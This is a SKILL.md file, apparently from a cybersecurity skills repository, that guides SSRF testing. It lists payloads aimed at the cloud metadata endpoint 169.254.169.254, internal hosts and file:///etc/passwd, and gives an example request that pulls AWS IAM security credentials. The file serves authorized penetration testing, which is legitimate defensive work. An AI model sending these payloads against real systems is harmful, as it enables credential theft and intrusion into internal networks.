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Anthropic-Cybersecurity-Skills/skills/performing-ssrf-vulnerability-exploitation/SKILL.md
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mukul975 cb8d79e068 Map all 754 skills to MITRE ATT&CK v19.1
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  techniques), verified against MITRE ATT&CK v19.1 via the official
  mitreattack-python library: 0 revoked, deprecated, or invalid IDs
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  threat-intel, and red-team skills (e.g. DCSync -> T1003.006,
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2026-06-01 12:13:29 +02:00

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Markdown

---
name: performing-ssrf-vulnerability-exploitation
description: Test for Server-Side Request Forgery vulnerabilities by probing cloud
metadata endpoints, internal network services, and protocol handlers through user-controllable
URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port
scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection.
domain: cybersecurity
subdomain: security-operations
tags:
- ssrf
- web-application-security
- cloud-metadata-abuse
- vulnerability-exploitation
- penetration-testing
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.CM-01
- RS.MA-01
- GV.OV-01
- DE.AE-02
mitre_attack:
- T1078
- T1190
- T1059
- T1078.004
- T1530
---
## When to Use
- When conducting security assessments that involve performing ssrf vulnerability exploitation
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
## Prerequisites
- Familiarity with security operations concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Instructions
1. Install dependencies: `pip install requests`
2. Identify URL parameters in the target application that accept URLs or hostnames.
3. Test SSRF payloads:
- Cloud metadata: `http://169.254.169.254/latest/meta-data/`
- Internal services: `http://127.0.0.1:port/`, `http://10.0.0.1/`
- Protocol handlers: `file:///etc/passwd`, `gopher://`, `dict://`
- Bypass techniques: IP encoding, DNS rebinding, URL redirects
4. Analyze responses for information disclosure or internal access confirmation.
5. Generate a vulnerability assessment report.
```bash
# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
```
## Examples
### AWS Metadata SSRF
```
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.